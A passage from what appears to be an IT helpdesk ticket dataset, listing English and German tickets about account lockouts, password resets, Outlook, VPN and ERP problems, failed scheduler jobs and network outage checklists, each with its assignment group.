for other users it works. seems to be something in his usersettings., is assigned to Assignment group: GRP\_29.Ticket with Short description: setup rechner ewew8323869 \wrcktgbd wzrgyunp, Description: setup rechner ewew8323869 \wrcktgbd wzrgyunp, is assigned to Assignment group: GRP\_24.Ticket with Short description: ich benÃ¶tige netzwerkkabel fÃ¼r den teleservice bei roboworker., Description: hallo herr bghakch,\_x000D\_
ich benÃ¶tige netzwerkkabel fÃ¼r den teleservice bei roboworker.\_x000D\_
benÃ¶tigt werden 3x 10m und 3x 5m die dauerhaft angeschlossen bleiben.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_24.Ticket with Short description: probleme mit lan Ã­n beschprechungsraum \puxsvfwr cwkjruni, Description: probleme mit lan Ã­n beschprechungsraum \puxsvfwr cwkjruni, is assigned to Assignment group: GRP\_24.Ticket with Short description: account names not seems on crm, Description: i have issue when i try to create oppurtunities on crm. i didn't see any account name. normally it's working on connect and engineering\_tool. please help to solve this issue. , is assigned to Assignment group: GRP\_40.Ticket with Short description: conversion issue with the drawing nxd/71880207/000/00, Description: 1.) only pdf got converted and accessible, model and dxf are not accesible\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: attendance\_tool issue, Description: \_x000D\_
\_x000D\_
received from: ufgkybsh.ijswtdve@gmail.com\_x000D\_
\_x000D\_
dear sir/mam,\_x000D\_
\_x000D\_
i am facing issue with attendance\_tool . the following message is showing and it is not showing in single sign in portal also.\_x000D\_
\_x000D\_
kindly help me to resolve the issue.\_x000D\_
\_x000D\_
[cid:image001.jpg@01d1fd31.c82afba0][cid:image002.jpg@01d1fd31.c82afba0]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: account locked in ad, Description: account locked in ad, is assigned to Assignment group: GRP\_0.Ticket with Short description: after changing my login id password in password\_management\_tool password manger, which was successful. i restarted my system, outlook/sky, Description: name:wnorzsyv mdflqwxg
language:
browser:microsoft internet explorer
email:wnorzsyv.mdflqwxg@gmail.com
customer number:
telephone:
summary:after changing my login id password in password\_management\_tool password manger, which was successful. i restarted my system, outlook/skype is popping up with password request but not logging in, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to send or receive email , Description: unable to send or receive email , is assigned to Assignment group: GRP\_0.Ticket with Short description: windows account locked , Description: windows account locked , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login into attendance\_tool, Description: i am unable to login to attendance\_tool using single logon portal link., is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_3028 failed in job\_scheduler at: 08/23/2016 00:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3028 failed in job\_scheduler at: 08/23/2016 00:02:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_3028 failed in job\_scheduler at: 08/23/2016 00:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3028 failed in job\_scheduler at: 08/23/2016 00:02:00, is assigned to Assignment group: GRP\_12.Ticket with Short description: job Job\_3028 failed in job\_scheduler at: 08/23/2016 00:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3028 failed in job\_scheduler at: 08/23/2016 00:02:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job hr\_tooldplcmmaninp failed in job\_scheduler at: 08/23/2016 00:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job hr\_tooldplcmmaninp failed in job\_scheduler at: 08/23/2016 00:02:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: windows account locked , Description: windows account locked , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to engineering tool, Description: unable to login to engineering tool, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to open outlook , Description: unable to open outlook , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to engineering tool , Description: unable to login to engineering tool , is assigned to Assignment group: GRP\_0.Ticket with Short description: awyw7217971, Description:
received from: utgszjrf.pacfvxzk@gmail.com
please attend the below mentioned problem at the earliest.
system name : awyw8328082
user name : talagrtymr
problem: display not coming on monitor, system is getting on and off continiously
best , is assigned to Assignment group: GRP\_19.Ticket with Short description: microsoft office software have problem, couldn't access link and pop up warning of "computer limitation", Description: contact phone: +86
system: windows 7
error messages: please refer to attachment, is assigned to Assignment group: GRP\_0.Ticket with Short description: shipping notification , Description: \_x000D\_
\_x000D\_
received from: bfckamsg.tzdkbmfe@gmail.com\_x000D\_
\_x000D\_
hi it help\_x000D\_
would you please help set the email of shipping notification for customer 81032999. , is assigned to Assignment group: GRP\_18.Ticket with Short description: network outage :: company-eu-che-company-switzerland-2-dmvpn-1811-rtr01(no backup) :: since # 8/22/2016 9:35 pm est, Description: what type of outage: \_\_\_x\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_na\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_8/22/2016 9:35 pm est\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_no\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_\_no\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_no\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_no\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_swisscom\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_yes\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_naa\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_3028 failed in job\_scheduler at: 08/22/2016 22:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3028 failed in job\_scheduler at: 08/22/2016 22:02:00, is assigned to Assignment group: GRP\_45.Ticket with Short description: ksem / wzs60 / m1 (m07.15360), Description: pc defekt, ist selbststÃ¤ndig runter gefahren und lÃ¤sst sich nicht mehr starten.\_x000D\_
bitte um erledigung durch m. himghtmelreich, is assigned to Assignment group: GRP\_33.Ticket with Short description: advanced search does not use the material field on the form, Description: the same set of results is returned regardless if leaving the field blank or selecting any material., is assigned to Assignment group: GRP\_25.Ticket with Short description: not able to open jpg image files., Description: \_x000D\_
\_x000D\_
received from: ulroqsyf.wctpnarb@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
i am not able to open jpg image files on my pc.\_x000D\_
pl. help.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: lorw8327797sf(usa robot):outlook did not complete on time had to be kirtyled alert in reporting\_tool since 08/22 12:59 pm et, Description: lorw8327797sf(usa robot):outlook did not complete on time had to be kirtyled alert in reporting\_tool since 08/22 12:59 pm et, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_1953d failed in job\_scheduler at: 08/22/2016 18:03:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1953d failed in job\_scheduler at: 08/22/2016 18:03:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_1953d :was running longer than 30 minutes, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1953d failed in job\_scheduler at: 08/22/2016 18:03:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: usa has 2 unresolved mii password lockouts-employees got "user authentication failed" error-cannot confirm production, Description: hi all,
we had 3-4 occurences where people got a "user authentication failed" error:
1) tortm hortl (howthrelte)
2) yqxlbswt eimhxowu (tnhymatj) - unresolved
3) ligsnzur smcxerwk (grargtfl) - unresolved
could you please check the root cause and unlock the operators' passwords so they can log into mii and report production
for lee, we were able to get through to password\_management\_tool and unlock the password â€“ he will try in 20 mins to see if it works
for the others, i got a "failed to verify password on active directory" error when we tried to get into password\_management\_tool
it helped unlock tony's password but we got the same error after 30 minutes
i was only able to resolve tortm hortl's password issue before the end of the shift.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job hr\_tooldplcmmaninp failed in job\_scheduler at: 08/22/2016 17:07:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job hr\_tooldplcmmaninp failed in job\_scheduler at: 08/22/2016 17:07:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: dell 7350: blue screen error.urgent , Description: dell 7350: blue screen error
-user has tried to recover and safe mode and restart , all the 3 opetions done help.
-service tag: 80sjv32
-asset tag: 405429
-os: win 8.1
-c: , is assigned to Assignment group: GRP\_3.Ticket with Short description: unable to launch outlook, Description: unable to launch outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: distributor\_tool page error, Description: distributor\_tool page error, is assigned to Assignment group: GRP\_0.Ticket with Short description: did we send out automatic erp gui upgrade, Description: name:stefdgthyo
language:
browser:microsoft internet explorer
email:ejpvuxrg.tryaibcx@gmail.com
customer number:
telephone:+1
summary:did we send out automatic erp gui upgrade?, is assigned to Assignment group: GRP\_0.Ticket with Short description: network outage :india, india - (company) hard down since 1:17 pm on 08/22 et, Description: what type of outage: \_\_\_x\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_1:17 pm on 08/22 et\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_na\_\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_na\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_no\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_\_na\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_na\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_na\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_na\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_na\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: vpn connection issues., Description: vpn connection issues.\_x000D\_
-connected to the user system using teamviewer.\_x000D\_
-changed the default browser .\_x000D\_
-advised the caller to logon to the company vpn.\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved.\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job HostName\_1019fail2 failed in job\_scheduler at: 08/22/2016 15:45:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job HostName\_1019fail2 failed in job\_scheduler at: 08/22/2016 15:45:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: mobile device activation for the new iphone, Description: mobile device activation for the new iphone, is assigned to Assignment group: GRP\_0.Ticket with Short description: decimal values in "daily qty confirmed", Description: usa plant, work center preeco showing 4840.1 in mentioned field\_x000D\_
\_x000D\_
for reference:\_x000D\_
\_x000D\_
collaboration\_platform:#decimal%20values%20in%20%22daily%20qty%20confirmed%22&section-id={b02cc616-a796-4ab6-bc94-98de524924ae}&page-id={f3cce32e-bc9f-426d-a364-92434990ca0f}&end, is assigned to Assignment group: GRP\_41.Ticket with Short description: otd to frozen date alert issue, Description: in supervisor dashbankrd the "otd to frozen date" alert is not populating correctly\_x000D\_
\_x000D\_
for reference:\_x000D\_
\_x000D\_
collaboration\_platform:#re%20otd%20to%20frozen%20date%20alert&section-id={b02cc616-a796-4ab6-bc94-98de524924ae}&page-id={aa19plant\_19-415f-43de-90ac-dac4af090b67}&end, is assigned to Assignment group: GRP\_41.Ticket with Short description: setup time not calculated properly, Description: email from kanchi (usa) on how confirmation times are calculated in mii. \_x000D\_
\_x000D\_
in one example kahrthyeui found out that mii was using work center or factory calendar (excluding weekend time from calculation) but in other cases it was not. \_x000D\_
\_x000D\_
more details on page \_x000D\_
\_x000D\_
\_x000D\_
collaboration\_platform:#re%20time%20calculations%20in%20erp%20/%20mii&section-id={b02cc616-a796-4ab6-bc94-98de524924ae}&page-id={e2181c91-05d2-418e-999a-1475f818a343}&end, is assigned to Assignment group: GRP\_41.Ticket with Short description: global erp crm: please investigate why agbighyail espinosa's employee account in erp crm is not recognized as an employee, Description: global erp crm: please investigate why agbighyail espinosa's employee account in erp crm is not recognized as an employee. please refer to the screenshots in the attached email. wdkaoneh unqlarpk is an employee, but her employee account in erp crm is not displayed if you search using "role is employee". you can only find her employee account in erp crm if you don't specify "role is employee"., is assigned to Assignment group: GRP\_15.Ticket with Short description: can't search work center # in machine # field in collective confirmation (header level), Description: erp-mii\_x000D\_
\_x000D\_
we can search machine numbers by typing work center numbers in the pop up box of machine field. this works in time event and normal confirmation but does not work in collective header level, is assigned to Assignment group: GRP\_41.Ticket with Short description: job HostName\_1019fail1 failed in job\_scheduler at: 08/22/2016 15:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job HostName\_1019fail1 failed in job\_scheduler at: 08/22/2016 15:00:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: cannot change in conditions tab, Description: \_x000D\_
\_x000D\_
received from: nuhfwplj.ojcwxser@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
it appears i don't have access to change any values in the conditions tab. please review for the issue, as i need to complete this quote and convert to usd/kg instead of rub/kg.\_x000D\_
\_x000D\_
[cid:image001.png@01d1fc7d.3c4918b0]\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_13.Ticket with Short description: reset passwords for pzjelyxg vstyaouc using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: ticket update on ticket\_no0432805, Description: ticket update on ticket\_no0432805, is assigned to Assignment group: GRP\_0.Ticket with Short description: quadra chek pc in the eaymvrzj bumzwtco will not start, power is connected but nthing when button is pressed., Description: quadra chek pc in the eaymvrzj bumzwtco will not start, power is connected but nthing when button is pressed., is assigned to Assignment group: GRP\_3.Ticket with Short description: collaboration\_platform site ownership, Description: \_x000D\_
\_x000D\_
received from: unrbafjx.reyshakw@gmail.com\_x000D\_
\_x000D\_
hello it help,\_x000D\_
\_x000D\_
since the owner has left the company, please reallocate the ownership of this subsite to my name. , is assigned to Assignment group: GRP\_16.Ticket with Short description: vip 2 // unable to open any files from collaboration\_platform, Description: stdezpqw bkmeuhfz has never been able to open any kind of files from collaboration\_platform. it keeps on asking her for email address and password and even after entering it keeps coming back., is assigned to Assignment group: GRP\_16.Ticket with Short description: cannot access to company collaboration\_platform, Description: \_x000D\_
\_x000D\_
received from: zywoxerf.paqxtrfk@gmail.com\_x000D\_
\_x000D\_
dear it:\_x000D\_
i either cannot access to company collaboration\_platform or after the "company collaboration\_platform" page stuck at a blank page of "outlook.office365.com" as shown below.\_x000D\_
\_x000D\_
\_x000D\_
[cid:image001.png@01d1fc73.23ca3cb0]\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp order acknowledgement weight difference, Description: \_x000D\_
\_x000D\_
received from: nuhfwplj.ojcwxser@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
please review the quantity on the attached order acknowledgement.\_x000D\_
in the quantity column the weight of 4.536 kg is correct.\_x000D\_
in the description field the qty is 3.000 kg. this is incorrect.\_x000D\_
correct the quantity value to be 4.536 kg in both areas.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_13.Ticket with Short description: unable to load collaboration\_platform, Description: unable to load collaboration\_platform, is assigned to Assignment group: GRP\_0.Ticket with Short description: india company: tcl circuit intermittently flapping since at 12:50 pm est on 08/22. site is active on primary., Description: intermittent flap in tcl link.. tcl#3740oc220816., is assigned to Assignment group: GRP\_4.Ticket with Short description: having to approve the same credit memo several times., Description: please review the approver level for stefyty ross (director of sales). at times, i am having to approve the same credit memo 2 to 3 times in workflow. this should not be happening. , is assigned to Assignment group: GRP\_13.Ticket with Short description: unable to login to the replacement laptop as its showing no connection to server. , Description: unable to login to the replacement laptop as its showing no connection to server. , is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1374 failed in job\_scheduler at: 08/22/2016 13:06:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1374 failed in job\_scheduler at: 08/22/2016 13:06:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: account locked , Description: account locked , is assigned to Assignment group: GRP\_0.Ticket with Short description: skype connectivity is flickering: automatically signout and signing in back. no sfb online outage from server end., Description: network team,\_x000D\_
\_x000D\_
kindly look into the below issue:\_x000D\_
\_x000D\_
skype connectivity is flickering: automatically sign-out and signing in back. no sfb online outage from office 365 server end.\_x000D\_
\_x000D\_
issue is with multiple user. kindly keep the ticket priority as sev 3 till the issue is resolved.\_x000D\_
, is assigned to Assignment group: GRP\_4.Ticket with Short description: unable access - net weaver, Description: \_x000D\_
\_x000D\_
received from: rhwvpmlq.zuwhpqrc@gmail.com\_x000D\_
\_x000D\_
hello ,\_x000D\_
\_x000D\_
i am unable to access the below . kindly do the needful.\_x000D\_
\_x000D\_
\_x000D\_
[cid:image001.png@01d1fcc3.37c4c640]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: team sproc is not assigning indirect revenue, Description: the tam sproc is incorrectly inner joining previous ytd revenue when it should be left joining so that it wont result in an empty result set if there is no previous revenue (aka the first period of a financial\_toolcal year), is assigned to Assignment group: GRP\_25.Ticket with Short description: pikosa cannot log into work station, Description: hello,\_x000D\_
xepcsrvh tbsokfyl for several days cannot log into her workstation, because telephony\_software says it is used, but does not specify by whom (screenshot in the attachment). the station she wants to log into is hers and she had always used. please advise., is assigned to Assignment group: GRP\_7.Ticket with Short description: download drawing response is error even though a succesful email is received, Description: when i send the input to download a drawing, i always get a reply "email not sent" but i still get the email. for example, below input \_x000D\_
\_x000D\_
{\_x000D\_
"i\_mail\_inputs":\_x000D\_
{\_x000D\_
"sales\_doc":"",\_x000D\_
"delivery\_doc":"",\_x000D\_
"billing\_doc":"",\_x000D\_
"purchasing\_doc":"",\_x000D\_
"pur\_sch\_agr":"",\_x000D\_
"mat\_drawing":"x",\_x000D\_
"doc\_num":"3115968804",\_x000D\_
"language":"e",\_x000D\_
"mail\_id":"tskwevno.sjhpoakl@gmail.com",\_x000D\_
"download\_flag":""\_x000D\_
}\_x000D\_
}\_x000D\_
\_x000D\_
the document number has a special material in it which has a pdf drawing. when i send the above input, i expect it sends email and it definitely sends the email fine. however, the reply i get from erp always is "email not sent" which does not make sense as i do get the email.\_x000D\_
important â€“ the downloading of file to ftp site works fine. it is just not returning a valid message even when it successfully send the email.\_x000D\_
, is assigned to Assignment group: GRP\_20.Ticket with Short description: unable to login to erp SID\_34, Description: unable to login to erp SID\_34, is assigned to Assignment group: GRP\_0.Ticket with Short description: network outage :kingston, pa :site is hard down since at 10:19 am et on 08/22.no backup, Description: what type of outage: \_\_x\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_10:19 am et on 08/22\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_na\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_4.Ticket with Short description: circuit outage:usa, nv - divestiture site:secondary circuit is down since at 10:23 am et on 08/22.primary is up., Description: what type of outage: \_\_\_\_\_network \_x\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_no\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_10:23 am et on 08/22\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: emails, Description:
received from: raifstow.gfeymtql@gmail.com
hello,
i need 4 email account tabs removed from my main email and then 2 new ones added.
needs to be removed:
k-hntl usa-grind
w-hntl usa-grind
k-na westcoast rrc
w-na westcoast rrc
ones to be added:
w-rckf.grind@company.com<mailto:w-rckf.grind@company.com>
w-rckf.grind@company.com<mailto:w-rckf.grind@company.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: circuit outage:vogelfontein, south africa , sa secondary circuit is down since at 5:41 am et on 08/22.primary circuit is up., Description: what type of outage: \_\_\_\_\_network \_\_x\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_5:41 am et on 08/22\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_email\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: roadking features, Description: the features on the road king page are not expanding. on click, there is a div container that is supposed to open up and show additional content. this is no longer working.\_x000D\_
\_x000D\_
page:\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
see screenshot attached., is assigned to Assignment group: GRP\_51.Ticket with Short description: erp SID\_34 password reset, Description: erp SID\_34 password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: probleme mit vpn client, Description: \_x000D\_
\_x000D\_
received from: fmhlugqk.dpraethi@gmail.com\_x000D\_
\_x000D\_
hallo meine herren,\_x000D\_
\_x000D\_
ich kann unsere vpn nicht benutzen.\_x000D\_
folgende fehlermeldungen habe ich bekommen:\_x000D\_
\_x000D\_
2mal kommt diese:\_x000D\_
[cid:image001.png@01d1fc9a.c5af05c0]\_x000D\_
\_x000D\_
bei dritte probieren:\_x000D\_
[cid:image002.png@01d1fc9a.c5af05c0]\_x000D\_
\_x000D\_
benutzername und kennwort war in ordnung.\_x000D\_
bitte es kontrollieren und lÃ¶sen.\_x000D\_
\_x000D\_
danke\_x000D\_
\_x000D\_
Ã¼dvÃ¶zlettel / mit freundlichen grÃ¼ÃŸen / best , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to log in to erp SID\_34, Description: unable to log in to erp SID\_34, is assigned to Assignment group: GRP\_0.Ticket with Short description: require access to canadian legal reporting website...thank you in advance!, Description:
received from: wznkpjis.rantlypb@gmail.com
[cid:image001.png@01d1fc62.e2977201]
wznkpjis rantlypb, b.sc., tsrp
sr. ehs analyst
wznkpjis.rantlypb@gmail.com<mailto:wznkpjis.rantlypb@gmail.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: user not able to connect to t drive , Description: user not able to connect to t drive , is assigned to Assignment group: GRP\_0.Ticket with Short description: request to reset microsoft online services password for aedzqlvj.mkosyxgh@gmail.com, Description: \_x000D\_
\_x000D\_
from: nwfodmhc exurcwkm \_x000D\_
sent: monday, august 22, 2016 3:21 pm\_x000D\_
to: bmhxwvys tdmgolwn\_x000D\_
cc: tiyhum kuyiomar\_x000D\_
subject: re: sabrthy request to reset microsoft online services password for bmhxwvys.tdmgolwn@gmail.com\_x000D\_
\_x000D\_
hi suhrhtyju,\_x000D\_
\_x000D\_
please reset your password in \_x000D\_
\_x000D\_
\_x000D\_
